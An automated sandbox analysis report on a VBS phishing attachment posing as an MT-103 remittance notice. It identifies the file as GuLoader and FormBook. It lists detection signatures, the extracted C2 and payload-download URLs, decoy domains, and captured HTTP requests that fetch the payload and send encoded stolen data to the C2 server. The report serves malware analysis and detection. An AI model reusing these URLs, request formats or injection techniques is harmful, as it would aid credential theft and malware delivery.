Windows Analysis Report
Remittance Information (MT-103).vbs

Overview

General Information

Sample Name: Remittance Information (MT-103).vbs
Analysis ID: 558870
MD5: d693624e3d9614a0dc9cf5a5cd1bb8ef
SHA1: 9c50c26e8b2f9c9acfa3192385df88d3144f351c
SHA256: dcc73a1351b6b79d48f7b42a96edfb142ffe46f896e1ab9f412a615b1edd7c9b
Tags: vbs
Infos:

Detection

FormBook GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Detected FormBook malware
VBScript performs obfuscated calls to suspicious functions
System process connects to network (likely due to code injection or exploit)
Sigma detected: Suspect Svchost Activity
Yara detected GuLoader
Found malware configuration
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Tries to steal Mail credentials (via file / registry access)
Maps a DLL or memory area into another process
Tries to detect Any.run
Wscript starts Powershell (via cmd or directly)
Potential malicious VBS script found (suspicious strings)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Encrypted powershell cmdline option found
Sigma detected: Suspicious Svchost Process
Tries to detect virtualization through RDTSC time measurements
Tries to harvest and steal browser information (history, passwords, etc)
Hides threads from debuggers
Sample uses process hollowing technique
Potential evasive VBS script found (sleep loop)
Writes to foreign memory regions
Potential malicious VBS script found (has network functionality)
Very long command line found
Sigma detected: Suspicious Remote Thread Created
Modifies the prolog of user mode functions (user mode inline hooks)
Queues an APC in another process (thread injection)
Sigma detected: Accessing WinAPI in PowerShell. Code Injection.
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
JA3 SSL client fingerprint seen in connection with other malware
HTTP GET or POST without a user agent
Contains long sleeps (>= 3 min)
Abnormal high CPU Usage
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Java / VBScript file with very long strings (likely obfuscated code)
Drops PE files
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Compiles C# or VB.Net code
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Internet Provider seen in connection with other malware
Found potential string decryption / allocating functions
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
Contains functionality for execution timing, often used to detect debuggers
Enables debug privileges
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Autorun Keys Modification
Found WSH timer for Javascript or VBS script (likely evasive script)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection
barindex
Found malware configuration
Source: 0000001A.00000002.874088041.0000000002A10000.00000040.80000000.00040000.00000000.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.usyeslogistics.com/k6sm/"], "decoy": ["mingshengjewelry.com", "ontimecleaningenterprise.com", "alyssa0.xyz", "ptecex.xyz", "dukfot.online", "pvcpc.com", "iowalawtechnology.com", "nestletranspotation.com", "mysithomes.com", "greenlakespaseattle.com", "evofishingsystems.com", "unilytcs.com", "ordemt.com", "dentalbatonrouge.com", "pictureme360.net", "chalinaslacatalana.com", "newmirrorimage.xyz", "pinklaceandlemonade.com", "rapinantes.com", "yzicpa.com", "josephosman.com", "robsarra.com", "shumgroup.net", "flooringnewhampshire.com", "onceadayman.com", "audiomacklaunch.xyz", "hurryburry.com", "golfvid.info", "tutortenbobemail.com", "tatlitelasorganizasyon.com", "tqgtdd.space", "classicalruns.com", "xx3tgnf.xyz", "galwayartanddesign.com", "qidu.press", "crypto-obmennik.com", "dn360rn001.com", "tridim.tech", "phamhome.com", "mediadollskill.com", "loveatmetaverse.com", "electric4x4parts.com", "azulymargarita.com", "isadoramel.com", "rubyclean.com", "officiallydanellewright.com", "wu8d349s67op.xyz", "detetivepyther.com", "wondubniumgy463.xyz", "registry-finance3.com", "ultracoding.com", "open-4business.com", "supremelt.online", "pangfeng.xyz", "morneview.com", "northfloridapsychic.com", "kg4bppuh.xyz", "friv.asia", "epsilonhomecare.com", "hbina.com", "beachhutprinting.com", "sophoscloudoptix.net", "managemarksol.site", "palestyna24.info"]}
Source: 00000017.00000000.621139519.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp Malware Configuration Extractor: GuLoader {"Payload URL": "https://www.bulkwhatsappsender.in/bin_FlDFmmV154.bin1"}
Yara detected FormBook
Source: Yara match File source: 0000001A.00000002.874088041.0000000002A10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.873877212.0000000002710000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000000.698865578.000000000DD15000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.873684957.0000000000550000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.729280321.0000000002C20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.729334535.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000000.716819564.000000000DD15000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: unknown HTTPS traffic detected: 151.106.117.33:443 -> 192.168.2.6:49820 version: TLS 1.2
Source: Binary string: ieinstal.pdbGCTL source: svchost.exe, 0000001A.00000002.875332208.000000000392F000.00000004.10000000.00040000.00000000.sdmp, svchost.exe, 0000001A.00000002.874340657.0000000002E12000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: ieinstal.pdb source: svchost.exe, 0000001A.00000002.875332208.000000000392F000.00000004.10000000.00040000.00000000.sdmp, svchost.exe, 0000001A.00000002.874340657.0000000002E12000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: wntdll.pdbUGP source: ieinstal.exe, 00000017.00000002.741990964.000000001EC30000.00000040.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000017.00000002.742109232.000000001ED4F000.00000040.00000800.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.731672310.0000000003200000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.729304161.0000000003000000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.874979162.000000000351F000.00000040.00000800.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.874833482.0000000003400000.00000040.00000800.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: ieinstal.exe, ieinstal.exe, 00000017.00000002.741990964.000000001EC30000.00000040.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000017.00000002.742109232.000000001ED4F000.00000040.00000800.00020000.00000000.sdmp, svchost.exe, svchost.exe, 0000001A.00000003.731672310.0000000003200000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.729304161.0000000003000000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.874979162.000000000351F000.00000040.00000800.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.874833482.0000000003400000.00000040.00000800.00020000.00000000.sdmp
Source: Binary string: svchost.pdb source: ieinstal.exe, 00000017.00000003.728221731.0000000002F07000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000017.00000002.741936624.000000001EAA0000.00000040.10000000.00040000.00000000.sdmp, ieinstal.exe, 00000017.00000003.728303049.0000000002EC3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: svchost.pdbUGP source: ieinstal.exe, 00000017.00000003.728221731.0000000002F07000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000017.00000002.741936624.000000001EAA0000.00000040.10000000.00040000.00000000.sdmp, ieinstal.exe, 00000017.00000003.728303049.0000000002EC3000.00000004.00000020.00020000.00000000.sdmp

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.dentalbatonrouge.com
Source: C:\Windows\explorer.exe Domain query: www.yzicpa.com
Source: C:\Windows\explorer.exe Network Connect: 108.175.14.116 80 Jump to behavior
Potential malicious VBS script found (has network functionality)
Source: Initial file: BinaryStream.SaveToFile NONN, 2
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.usyeslogistics.com/k6sm/
Source: Malware configuration extractor URLs: https://www.bulkwhatsappsender.in/bin_FlDFmmV154.bin1
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /k6sm/?d48pAVX=VId1XGgV51+banGxzL0dUPYEUmU95ttpJOMZNiN8gg3/S9FPXBDAGWpY0ehao+dqxo0M4PI93Q==&8pnDfl=Lb3tdB30pX2 HTTP/1.1Host: www.dentalbatonrouge.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /bin_FlDFmmV154.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.bulkwhatsappsender.inCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /k6sm/ HTTP/1.1Host: www.dentalbatonrouge.comConnection: closeContent-Length: 417Cache-Control: no-cacheOrigin: http://www.dentalbatonrouge.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.dentalbatonrouge.com/k6sm/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 64 34 38 70 41 56 58 3d 64 71 52 50 4a 68 70 75 38 57 57 61 4c 41 58 66 67 76 45 42 4c 5a 74 69 62 45 49 77 30 4d 42 38 58 62 42 42 51 69 46 6c 68 53 54 6b 57 4d 68 48 64 55 79 71 4a 68 6f 45 71 75 46 6d 70 4f 4e 55 33 6f 45 50 31 2d 4d 61 75 43 4b 6e 57 6f 49 69 66 72 70 31 6c 59 47 4a 39 30 28 5f 61 62 70 6a 35 65 61 4b 44 43 30 59 30 43 28 37 6a 32 35 4f 4a 7a 49 49 68 76 65 61 57 38 4c 48 77 47 31 6f 58 57 51 76 62 35 61 51 49 4f 76 37 4c 6c 79 37 34 61 68 30 32 71 43 32 70 4b 72 67 4c 61 55 70 78 44 73 37 72 43 31 69 39 42 34 76 58 4e 49 43 58 63 64 70 49 64 4c 4b 4d 6f 62 52 64 32 31 6b 6d 6c 30 67 78 43 6f 31 4e 5a 45 76 44 54 36 46 6d 62 35 64 70 61 42 58 77 62 30 66 42 78 78 4b 6a 39 4d 30 43 71 44 6a 6f 56 68 47 4c 7a 4b 48 68 44 34 37 64 65 42 51 76 2d 4c 4c 45 37 49 57 73 54 6a 46 6b 6c 69 2d 52 47 43 38 56 45 70 57 54 46 67 46 72 76 4f 69 65 43 50 75 4e 62 77 61 34 66 61 71 57 4e 4e 6f 36 4d 74 6f 77 57 4f 73 66 30 52 4d 6c 43 6c 34 52 67 6f 76 41 2d 6d 6f 34 44 72 42 48 6f 7e 4d 4b 4a 61 37 41 44 50 68 68 32 4f 50 6a 72 31 50 70 44 67 38 55 70 4e 57 6a 4b 73 6f 35 41 38 51 62 70 48 49 28 46 6f 4c 37 37 7e 47 70 48 30 56 49 67 73 64 4f 5f 59 77 31 51 54 4c 65 5f 54 71 43 39 76 6a 63 7a 48 75 35 76 56 4b 65 52 45 2e 00 00 00 00 00 00 00 00 Data Ascii: d48pAVX=dqRPJhpu8WWaLAXfgvEBLZtibEIw0MB8XbBBQiFlhSTkWMhHdUyqJhoEquFmpONU3oEP1-MauCKnWoIifrp1lYGJ90(_abpj5eaKDC0Y0C(7j25OJzIIhveaW8LHwG1oXWQvb5aQIOv7Lly74ah02qC2pKrgLaUpxDs7rC1i9B4vXNICXcdpIdLKMobRd21kml0gxCo1NZEvDT6Fmb5dpaBXwb0fBxxKj9M0CqDjoVhGLzKHhD47deBQv-LLE7IWsTjFkli-RGC8VEpWTFgFrvOieCPuNbwa4faqWNNo6MtowWOsf0RMlCl4RgovA-mo4DrBHo~MKJa7ADPhh2OPjr1PpDg8UpNWjKso5A8QbpHI(FoL77~GpH0VIgsdO_Yw1QTLe_TqC9vjczHu5vVKeRE.
Source: global traffic HTTP traffic detected: POST /k6sm/ HTTP/1.1Host: www.dentalbatonrouge.comConnection: closeContent-Length: 180913Cache-Control: no-cacheOrigin: http://www.dentalbatonrouge.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.dentalbatonrouge.com/k6sm/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 64 34 38 70 41 56 58 3d 64 71 52 50 4a 67 51 66 77 47 53 4c 4d 32 48 65 79 62 68 4e 41 36 30 39 66 48 4d 6a 77 63 35 6f 61 72 74 52 51 69 30 69 73 77 37 36 64 4d 78 48 62 52 47 74 44 68 6f 4c 73 75 46 68 7e 2d 42 46 36 66 41 48 31 38 67 38 75 44 79 6b 50 62 51 6a 66 62 70 63 6c 34 61 6c 70 45 36 36 61 5a 74 4b 34 39 32 53 57 79 77 59 74 32 54 39 28 44 64 56 4f 78 73 54 76 37 7e 6c 55 35 65 5a 7a 78 45 58 52 7a 34 5a 4e 74 43 57 44 63 7a 73 48 45 43 48 75 74 31 4e 34 65 71 39 71 4c 76 7a 47 59 77 74 77 77 31 59 32 7a 30 51 33 52 67 78 42 61 6b 4b 64 4e 4a 41 62 64 36 35 4d 6f 6a 42 55 6c 51 69 69 6d 51 65 7a 54 55 50 59 34 77 68 64 77 44 41 69 59 42 67 36 4a 49 50 76 75 49 50 46 67 4d 49 69 5f 6b 6b 59 2d 4f 56 71 42 78 38 66 79 36 37 6a 55 59 7a 41 4f 78 76 68 64 72 63 4b 49 41 65 70 52 50 5a 71 6c 69 64 54 47 44 39 66 6e 68 75 59 30 6b 61 7e 66 28 44 65 46 54 2d 58 62 63 42 35 5a 53 45 4c 35 46 6c 32 63 78 6b 37 7a 6a 4d 4a 7a 68 48 69 68 34 54 62 41 70 67 64 73 7e 5f 34 44 71 2d 48 70 7e 71 4d 34 7e 37 44 79 76 55 78 42 79 54 68 72 31 53 76 51 49 2d 4e 72 59 62 6a 4f 34 6f 6a 53 6c 33 62 65 62 49 36 57 67 45 36 61 7e 47 6f 58 30 56 4f 67 74 38 48 4e 64 45 31 51 79 34 58 61 53 4c 54 50 6a 67 58 6b 79 64 74 50 70 65 63 55 38 65 41 73 6c 79 58 75 4c 37 7e 76 53 52 73 37 52 71 30 4c 4c 4d 41 49 65 52 7e 68 75 58 58 59 6d 77 59 48 47 69 49 73 5a 68 69 73 44 57 62 35 63 6a 4e 6b 62 4c 46 63 5a 61 73 58 6d 58 7e 6a 76 54 43 76 6d 44 35 76 65 6f 42 35 76 74 44 6a 33 37 79 54 77 31 78 75 58 2d 4e 38 6e 6d 6d 59 69 69 53 64 42 62 67 77 7a 6f 59 4a 55 50 67 45 42 4d 68 58 4c 50 77 43 67 52 36 64 64 49 4f 2d 79 56 77 38 53 2d 50 78 56 6b 44 55 48 75 31 41 34 43 67 69 35 6b 79 76 52 79 4e 50 45 4c 39 2d 78 46 7e 6a 75 4d 71 6b 6d 43 6a 75 30 43 32 56 42 46 74 47 47 56 54 5a 47 46 6c 72 54 30 70 6a 6f 56 56 73 38 58 6f 52 78 76 41 72 36 72 73 77 48 6d 75 38 6d 67 63 32 32 73 34 6b 62 41 77 55 41 75 35 69 44 4d 74 6c 55 6f 28 45 4e 48 56 42 68 77 31 44 6b 4e 47 4f 74 44 54 7a 47 71 6c 6e 63 75 39 61 4f 73 4f 58 47 4a 37 31 48 4f 63 2d 77 31 66 7a 28 72 47 59 6f 50 4e 70 34 52 38 44 48 48 6d 38 41 6e 36 34 51 64 6d 49 62 4c 75 54 76 47 59 35 63 42 54 54 4f 73 31 6b 58 37 54 30 7a 64 62 38 69 44 59 51 6f 45 7a 54 4f 31 44 6f 35 52 46 59 77 57 33 6c 48 6d 74 51 76 50 39 38 38 5f 75 69 55 43 75 69 48 4d 64 6e 47 6c 4b 77 74 51 73 46 6f 4e 39 4e 74 78 4c 34 34 6e 7a 57 28 4c 58 43 4a 72 77 77 4f 55 51 59 4e 43 78 61 4d 56 52 55 49 4a 56 6c 63 6f 48 39 70 51 57 4e 75 33 51 4e 4e 46 68 4f 30 49 66 66 46 74 55 69 59 5a 39 76 33 38 4b 79 76 76 68 33
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: ONEANDONE-ASBrauerstrasse48DE ONEANDONE-ASBrauerstrasse48DE
Source: Joe Sandbox View ASN Name: PLUSSERVER-ASN1DE PLUSSERVER-ASN1DE
Source: powershell.exe, 00000004.00000002.673929777.00000000081A0000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000017.00000003.661419330.0000000002ECE000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000017.00000003.659480092.0000000002ECE000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000017.00000003.661232085.0000000002ECE000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000017.00000002.729620511.0000000002ECE000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000017.00000003.728303049.0000000002EC3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000004.00000002.671138016.00000000064A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.666875748.0000000005587000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.666505278.0000000005441000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: svchost.exe, 0000001A.00000002.874553594.0000000002EAE000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5e
Source: svchost.exe, 0000001A.00000002.874571626.0000000002EBE000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
Source: powershell.exe, 00000004.00000002.666875748.0000000005587000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: explorer.exe, 00000018.00000000.704735877.000000000095C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000018.00000000.687907955.000000000095C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000018.00000000.666953603.000000000095C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000018.00000000.756892182.000000000095C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: svchost.exe, 0000001A.00000002.874495731.0000000002E9D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.msn.com/de-ch/?ocid=iehpMicrosoftEdge_DNTExceptionLMEM8P
Source: svchost.exe, 0000001A.00000002.874495731.0000000002E9D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.msn.com/de-ch/?ocid=iehphttp://www.msn.com/de-ch/?ocid=iehp
Source: svchost.exe, 0000001A.00000002.874495731.0000000002E9D000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.msn.com/de-ch/ocid=iehpD
Source: svchost.exe, 0000001A.00000002.874571626.0000000002EBE000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://www.msn.com/ocid=iehp
Source: svchost.exe, 0000001A.00000002.874595505.0000000002ED2000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.874020367.00000000027D8000.00000004.00000010.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.874571626.0000000002EBE000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=9774759596232;g
Source: svchost.exe, 0000001A.00000003.748120365.0000000005D00000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.874571626.0000000002EBE000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=30055406629
Source: svchost.exe, 0000001A.00000002.874571626.0000000002EBE000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=7859736
Source: svchost.exe, 0000001A.00000002.874464586.0000000002E90000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=3005540662929;gt
Source: svchost.exe, 0000001A.00000002.874595505.0000000002ED2000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.874571626.0000000002EBE000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://adservice.google.com/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=3005540662929;gtm=
Source: svchost.exe, 0000001A.00000002.874571626.0000000002EBE000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://contextual.media.net/checksync.php&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2C
Source: svchost.exe, 0000001A.00000002.874595505.0000000002ED2000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2
Source: svchost.exe, 0000001A.00000002.874316141.0000000002E0E000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://contextual.media.net/medianet.phpcid=8CU157172&crid=722878611&size=306x271&https=1
Source: svchost.exe, 0000001A.00000002.874571626.0000000002EBE000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://contextual.media.net/medianet.phpcid=8CU157172&crid=858412214&size=306x271&https=1
Source: powershell.exe, 00000004.00000002.671138016.00000000064A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.671138016.00000000064A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.671138016.00000000064A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.666875748.0000000005587000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: ieinstal.exe, 00000017.00000002.729749422.0000000003110000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://madecosmetics.store/bin_FlDFmmV154.bin
Source: powershell.exe, 00000004.00000002.671138016.00000000064A4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: ieinstal.exe, 00000017.00000002.729749422.0000000003110000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.bulkwhatsappsender.in/bin_FlDFmmV154.bin
Source: ieinstal.exe, 00000017.00000002.729749422.0000000003110000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.bulkwhatsappsender.in/bin_FlDFmmV154.binhttps://madecosmetics.store/bin_FlDFmmV154.bin
Source: svchost.exe, 0000001A.00000002.875610610.0000000003E1F000.00000004.10000000.00040000.00000000.sdmp String found in binary or memory: https://www.dentalbatonrouge.com/k6sm/?d48pAVX=VId1XGgV51
Source: svchost.exe, 0000001A.00000002.874571626.0000000002EBE000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/
Source: svchost.exe, 0000001A.00000003.748120365.0000000005D00000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/https://www.google.com/chrome/thank-you.htmlabout:blankhttps://adservi
Source: svchost.exe, 0000001A.00000002.874464586.0000000002E90000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/thank-you.htmlstatcb=0&installdataindex=empty&defaultbrowser=0o
Source: unknown DNS traffic detected: queries for: www.bulkwhatsappsender.in
Source: global traffic HTTP traffic detected: GET /bin_FlDFmmV154.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.bulkwhatsappsender.inCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /k6sm/?d48pAVX=VId1XGgV51+banGxzL0dUPYEUmU95ttpJOMZNiN8gg3/S9FPXBDAGWpY0ehao+dqxo0M4PI93Q==&8pnDfl=Lb3tdB30pX2 HTTP/1.1Host: www.dentalbatonrouge.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown HTTP traffic detected: POST /k6sm/ HTTP/1.1Host: www.dentalbatonrouge.comConnection: closeContent-Length: 417Cache-Control: no-cacheOrigin: http://www.dentalbatonrouge.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.dentalbatonrouge.com/k6sm/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 64 34 38 70 41 56 58 3d 64 71 52 50 4a 68 70 75 38 57 57 61 4c 41 58 66 67 76 45 42 4c 5a 74 69 62 45 49 77 30 4d 42 38 58 62 42 42 51 69 46 6c 68 53 54 6b 57 4d 68 48 64 55 79 71 4a 68 6f 45 71 75 46 6d 70 4f 4e 55 33 6f 45 50 31 2d 4d 61 75 43 4b 6e 57 6f 49 69 66 72 70 31 6c 59 47 4a 39 30 28 5f 61 62 70 6a 35 65 61 4b 44 43 30 59 30 43 28 37 6a 32 35 4f 4a 7a 49 49 68 76 65 61 57 38 4c 48 77 47 31 6f 58 57 51 76 62 35 61 51 49 4f 76 37 4c 6c 79 37 34 61 68 30 32 71 43 32 70 4b 72 67 4c 61 55 70 78 44 73 37 72 43 31 69 39 42 34 76 58 4e 49 43 58 63 64 70 49 64 4c 4b 4d 6f 62 52 64 32 31 6b 6d 6c 30 67 78 43 6f 31 4e 5a 45 76 44 54 36 46 6d 62 35 64 70 61 42 58 77 62 30 66 42 78 78 4b 6a 39 4d 30 43 71 44 6a 6f 56 68 47 4c 7a 4b 48 68 44 34 37 64 65 42 51 76 2d 4c 4c 45 37 49 57 73 54 6a 46 6b 6c 69 2d 52 47 43 38 56 45 70 57 54 46 67 46 72 76 4f 69 65 43 50 75 4e 62 77 61 34 66 61 71 57 4e 4e 6f 36 4d 74 6f 77 57 4f 73 66 30 52 4d 6c 43 6c 34 52 67 6f 76 41 2d 6d 6f 34 44 72 42 48 6f 7e 4d 4b 4a 61 37 41 44 50 68 68 32 4f 50 6a 72 31 50 70 44 67 38 55 70 4e 57 6a 4b 73 6f 35 41 38 51 62 70 48 49 28 46 6f 4c 37 37 7e 47 70 48 30 56 49 67 73 64 4f 5f 59 77 31 51 54 4c 65 5f 54 71 43 39 76 6a 63 7a 48 75 35 76 56 4b 65 52 45 2e 00 00 00 00 00 00 00 00 Data Ascii: d48pAVX=dqRPJhpu8WWaLAXfgvEBLZtibEIw0MB8XbBBQiFlhSTkWMhHdUyqJhoEquFmpONU3oEP1-MauCKnWoIifrp1lYGJ90(_abpj5eaKDC0Y0C(7j25OJzIIhveaW8LHwG1oXWQvb5aQIOv7Lly74ah02qC2pKrgLaUpxDs7rC1i9B4vXNICXcdpIdLKMobRd21kml0gxCo1NZEvDT6Fmb5dpaBXwb0fBxxKj9M0CqDjoVhGLzKHhD47deBQv-LLE7IWsTjFkli-RGC8VEpWTFgFrvOieCPuNbwa4faqWNNo6MtowWOsf0RMlCl4RgovA-mo4DrBHo~MKJa7ADPhh2OPjr1PpDg8UpNWjKso5A8QbpHI(FoL77~GpH0VIgsdO_Yw1QTLe_TqC9vjczHu5vVKeRE.
Source: unknown HTTPS traffic detected: 151.106.117.33:443 -> 192.168.2.6:49820 version: TLS 1.2

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 0000001A.00000002.874088041.0000000002A10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.873877212.0000000002710000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000000.698865578.000000000DD15000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.873684957.0000000000550000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.729280321.0000000002C20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.729334535.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000000.716819564.000000000DD15000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Detected FormBook malware
Source: C:\Windows\SysWOW64\svchost.exe Dropped file: C:\Users\user\AppData\Roaming\K-NBS4VB\K-Nlogri.ini Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe Dropped file: C:\Users\user\AppData\Roaming\K-NBS4VB\K-Nlogrv.ini Jump to dropped file
Malicious sample detected (through community Yara rule)
